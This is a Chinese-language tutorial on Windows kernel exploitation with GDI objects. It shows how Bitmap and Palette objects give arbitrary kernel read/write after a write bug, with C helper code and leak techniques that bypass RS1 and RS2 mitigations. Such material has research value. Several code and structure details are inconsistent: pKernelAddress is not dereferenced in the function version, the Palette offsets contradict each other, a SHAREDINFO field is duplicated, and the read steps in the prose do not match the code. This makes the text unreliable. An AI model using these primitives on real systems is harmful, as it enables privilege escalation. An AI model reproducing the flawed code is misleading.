GDI 对象利用

0x00 前言

普通显示器是由像素点构成的,显示时采用扫描的方法,这种显示器被称为位映像设备。位映象,就是指一个二维的像素矩阵,Bitmap(位图) 就是采用位映象方法显示和存储的图象。

当一幅图中每个像素点赋予不同的 RGB 值时,就能呈现不同的颜色,用来指定对应颜色的 RGB 表就被称为Palette(调色板 )。

0x01 Bitmap

1.1 基础概念

CreateBitmap

HBITMAP CreateBitmap(
  [in] int        nWidth,   // 位图宽度,像素为单位
  [in] int        nHeight,  // 位图高度,像素为单位
  [in] UINT       nPlanes,  // 设备使用的颜色位面数
  [in] UINT       nBitCount, // 用来区分单个像素点颜色的位数
  [in] const VOID *lpBits   // 指向颜色数据数组的指针

如果成功返回创建位图的句柄,如果创建BitMap时 lpBits不指定 则会额外创建池块处理PvScan0。

SURFACE OBJECT

随着位图一样被创建的还有 SURFACE OBJECT

typedef struct {
  BASEOBJECT64 BaseObject; // 0x00
  SURFOBJ64 SurfObj; // 0x18
  [...]
} SURFACE64;

它包含了两个结构体: BASEOBJECT 和 SURFOBJ。SURFOBJ.pvScan0 还指向一块名为 Pixel Data 的数据区。

SURFOBJ 官方有详细的定义:

typedef struct {
  ULONG64 dhsurf; // 0x00
  ULONG64 hsurf; // 0x08
  ULONG64 dhpdev; // 0x10
  ULONG64 hdev; // 0x18
  SIZEL sizlBitmap; // 0x20
  ULONG64 cjBits; // 0x28
  ULONG64 pvBits; // 0x30
  ULONG64 pvScan0; // 0x38
  ULONG32 lDelta; // 0x40
  ULONG32 iUniq; // 0x44
  ULONG32 iBitmapFormat; // 0x48
  USHORT iType; // 0x4C
  USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50

GetbitmapBits 和 SetBitmapBits

Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。

LONG GetBitmapBits(
  [in]  HBITMAP hbit,   // 位图的句柄
  [in]  LONG    cb,     // 要从位图复制到缓冲区的字节数
  [out] LPVOID  lpvBits // 指向缓冲区的指针
);
LONG SetBitmapBits(
  [in] HBITMAP    hbm,    // 位图的句柄
  [in] DWORD      cb,     // 指定参数lpBits指向的数组的字节数
  [in] const VOID *pvBits // 指向包含指定位图颜色数据的字节数组的指针
);

1.2 Bitmap 任意地址读写(<1607)

Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。pvScan0 和它指向的数据区 Pixel Data 都在内核空间,因此利用GetbitmapBits 和 SetBitmapBits 就可以做到内核空间的读写,但是并不能做到任意地址读写。

如果存在一次任意地址写的机会,就可以通过修改 pvScan0 来获得任意地址读写的能力。

获取 pvScan0 地址的方法

  1. NtCurrentTeb 来获得 teb 的基址

  2. x64 下 teb 偏移 0x60 获得 peb 的基址

  1. peb 0xf8 偏移处获得 GdiSharedHandleTable 地址

  1. GdiSharedHandleTable 是一个 GDICELL 结构体数组,成员对应进程中的每个GDI对象,数组索引是CreateBitmap 返回的句柄 hBitmap的低十六位,即 index = hBitmap & 0xFFFF

  2. GDICELL 结构如下:

typedef struct _GDI_CELL{
  PVOID64 pKernelAddress; // 0x00
  USHORT wProcessId; // 0x08
  USHORT wCount; // 0x0a
  USHORT wUpper; // 0x0c
  USHORT wType; // 0x0e
  PVOID64 pUserAddress; // 0x10
} GDICELL64; // sizeof = 0x18

    pKernelAddress = PEB.GdiSharedHandleTable + (handle & 0xffff) * sizeof(GDICELL64)

  1. pKernelAddress 指向 BASEOBJECT ,SURFOBJ 在偏移 0x18 处,SURFOBJ = BASEOBJECT + 0x18

  2. pvScan0 在 SURFOBJ 0x38 偏移处,pvScan0 = SURFOBJ + 0x38

整体代码为:

DWORD64 tebAddr = NtCurrentTeb();

DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);

DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);

DWORD64 pKernelAddress = gdiSharedHandleTableAddr  + ((DWORD64) hBitmap & 0xffff) * 0x18;

DWORD64 surfObj = *(PDWORD64)pKernelAddress +0x18;

DWORD64 pvScan0Addr = surfObj + 0x38;

整体利用思路

  1. CreateBitmap 创建两个 Bitmap,获得两个句柄 hManager 和 hWorker

  2. 获取 hManager 和 hWorker 的 pvScan0 地址

  3. 利用一次任意地址写的能力,使 hManager 的 pvScan0 的值为 hWorker 的 pvScan0 的地址,即 *hManager_pvScan0 = hWorker_pvScan0

  4. 任意写(完成向 0x1234 地址写入 0xAAAA):

    - 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234

    - 利用 SetBitmapBits 向 hWorker_pvScan0 指向的地址写入 0xAAAA

  1. 任意读(完成读取 0x1234 地址的值)

    - 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234

    - 利用 GetBitmapBits 读取 hManager_pvScan0 指向的地址的值

代码如下:

#include <stdio.h>
#include <Windows.h>

DWORD64 GetpvScan0Addr(HBITMAP hBitmap)
{
  DWORD64 tebAddr = NtCurrentTeb();
  DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
  DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
  DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64)hBitmap & 0xffff) * 0x18;
  DWORD64 surfObj = pKernelAddress + 0x18;
  DWORD64 pvScan0Addr = surfObj + 0x38;
  return pvScan0Addr;
}

VOID ReadOOB(HBITMAP hManager,HBITMAP hWorker,DWORD64 writeAddr, LPVOID readValue, int len)
{
  SetBitmapBits(hManager,len,&writeAddr);
  GetBitmapBits(hWorker, len, readValue);
}

VOID WriteOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID writeValue, int len)
{
  SetBitmapBits(hManager, len, &writeAddr);
  SetBitmapBits(hWorker, len, writeValue);
}

int main()
{
  HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
  HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
  DWORD64 hManager_pvScan0 = GetpvScan0Addr(hManager);
  DWORD64 hWorker_pvScan0 = GetpvScan0Addr(hWorker);
}

1.3 绕过 RS1 缓解措施(<1703)

Windows RS1 对 Bitmap 做了缓解措施,GdiSharedHandleTable 不再透露内核地址。,因此通过 pKernelAddress 找到 pvScan0 地址的方法失效了。

Windows 中共有三种类型的对象,分别是 User object、GDI object、Kernel object。Bitmap 属于 GDI object,存在换页对象池:

Accelerator table 对象属于 User object,也存在于换页会话池中。Accelerator table 对象地址可以通过 pKernel 获得,因此如果可以让 Bitmap 对象重用 Accelerator table 对象,就可以再次找到 pvScan0 地址。

获取对象地址

user32.dll 有一个全局变量结构—gSharedInfo,结构如下

typedef struct _SHAREDINFO
{ 
  PSERVERINFO  psi;
  PHANDLEENTRY aheList;
  ULONG_PTR    HeEntrySize;
  PDISPLAYINFO pDisplayInfo;
  ULONG_PTR    ulSharedDelta;
  WNDMSG       awmControl[27];
  WNDMSG       awmControl[31];
  WNDMSG       DefWindowMsgs;
  WNDMSG       DefWindowSpecMsgs;
} SHAREDINFO, *PSHAREDINFO;

ahelist 是一个指向一张结构为 USER_HANDLE_ENTRY 的表,其结构如下:

typedef struct _USER_HANDLE_ENTRY {
    void* pKernel;
    union
    {
        PVOID pi;
        PVOID pti;
        PVOID ppi;
    };
    BYTE type;
    BYTE flags;
    WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;

首地址就指向 pKernel,与 GDICELL 结构数组中的 pKernelAddress 一样,通过相同的计算方式就可以获得该对象地址。

对象重用

类似堆喷的手法,创建多个 Accelerator table 对象再销毁,再创建 Bitmap 对象,使其复用。

1.4 绕过 RS2 缓解措施(<1709)

微软在 RS2 把 HADNLE_ENRTY结构体的pkernel 禁掉了,因此通过 Accelerator table 重用的方式也就失效了。

微软的缓解措施要去绕过,其本质也是泄露 Windows 对象,释放再申请 Bitmap,从而泄露 Bitmap 对象的地址。

这里就涉及到两个概念,一个是窗口菜单名 lpszMenuName,一个是 HMValidateHandle。

HMValidateHandle 可以通过传入窗口句柄,获得在桌面堆的 tagWnd 指针,通过这个指针可以泄露出内核地址(详情见https://ryze-t.com/posts/2021/09/08/HMValidateHandle.html)。

lpszMenuName 指向的是存放菜单名的 paged pool,通过 tagWnd 找到 lpszMenuName 对象的地址,类似于 Accelerator table 的形式获取到 pvScan0 的地址。

0x02 Palette

Bitmap 的问题在 RS3(1709) 终于被解决,于是又出现了新的解决办法—Palette,Palette 的利用方式与 Bitmap相似

1.1 基础概念

Palette 结构如下:

typedef struct _PALETTE64
{
    BASEOBJECT64      BaseObject;    // 0x00
    FLONG           flPal;         // 0x18
    ULONG32           cEntries;      // 0x1C
    ULONG32           ulTime;        // 0x20 
    HDC             hdcHead;       // 0x24
    ULONG64        hSelected;     // 0x28, 
    ULONG64           cRefhpal;      // 0x30
    ULONG64          cRefRegular;   // 0x34
    ULONG64      ptransFore;    // 0x3c
    ULONG64      ptransCurrent; // 0x44
    ULONG64      ptransOld;     // 0x4C
    ULONG32           unk_038;       // 0x38
    ULONG64         pfnGetNearest; // 0x3c
    ULONG64   pfnGetMatch;   // 0x40
    ULONG64           ulRGBTime;     // 0x44
    ULONG64       pRGBXlate;     // 0x48
    PALETTEENTRY    *pFirstColor;  // 0x80
    struct _PALETTE *ppalThis;     // 0x88
    PALETTEENTRY    apalColors[3]; // 0x90
}

该结构偏移 0x80 处存在一个指针 pFirstColor,指向的是偏移 0x90 的 4 字节数组 apalColors。

类比与 Bitmap,pFirstColor 就是 pvScan0, apalColors[3] 就是 pixel Data。

PALETTEENTRY 结构如下:

class PALETTEENTRY(Structure):
 _fields_ = [
  ("peRed", BYTE),
  ("peGreen", BYTE),
  ("peBlue", BYTE),
  ("peFlags", BYTE)
 ]

1.2 CreatePalette

CreatePalette 创建一个逻辑调色板,具体函数用法如下:

HPALETTE CreatePalette(
  [in] const LOGPALETTE *plpal
);

LOGPALETTE 结构如下:

typedef struct tagLOGPALETTE {
  WORD         palVersion;     // 0x300
  WORD         palNumEntries;  //  palNumEntries = (size-0x90)/4
  PALETTEENTRY palPalEntry[1];
} LOGPALETTE, *PLOGPALETTE, *NPLOGPALETTE, *LPLOGPALETTE;


函数使用模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
HPALETTE createPaletteofSize(int size) {
  if (size <= 0x90) {
    printf("bad size! can't allocate palette of size < 0x90!\n");
    return 0;
  }
  int pal_cnt = (size - 0x90) / 4;
  int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
  LOGPALETTE *lPalette = (LOGPALETTE*)malloc(palsize);
  memset(lPalette, 0x4, palsize);
  lPalette->palNumEntries = pal_cnt;
  lPalette->palVersion = 0x300;
  return CreatePalette(lPalette);
}

1.3 GetPaletteEntries/SetPaletteEntries

与 Bitmap 类似,Palette 中也有类似 API,让我们可以操作 apalColors[3]。

UINT GetPaletteEntries(
  [in]  HPALETTE       hpal,        // palette 句柄
  [in]  UINT           iStart,      // 要提取的逻辑调色板中的第一项
  [in]  UINT           cEntries,    // 要提取的逻辑调色板中的项数
  [out] LPPALETTEENTRY pPalEntries  // 接受调色项目的PALETTEENTRY结构数组的指针,该数组所含结构的数目至少为nEntries参数指定的数目
);
UINT SetPaletteEntries(
  [in] HPALETTE           hpal,        // palette 句柄
  [in] UINT               iStart,      // 要设置的逻辑调色板中的第一项
  [in] UINT               cEntries,    // 要设置的逻辑调色板中的项数
  [in] const PALETTEENTRY *pPalEntries // 指向包含RGB值和标志的PALETTEENTRY结构数组的第一个元素
);

1.4 利用思路

整体利用思路与 Bitmap 类似。

新建两个 Palette object:hWorker 和 hManager,利用堆喷射的手法获取到两个对象的pFirstColor指针的内核地址,将hManager的pFirstColor指针指向hWorker的pFirstColor指针的存放地址,利用 SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x1234,利用 SetPaletteEntries 往 0x1234 中写入 0xABCD;利用 SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x4321,利用 GetPaletteEntries 从 0x4321 中读取相应值。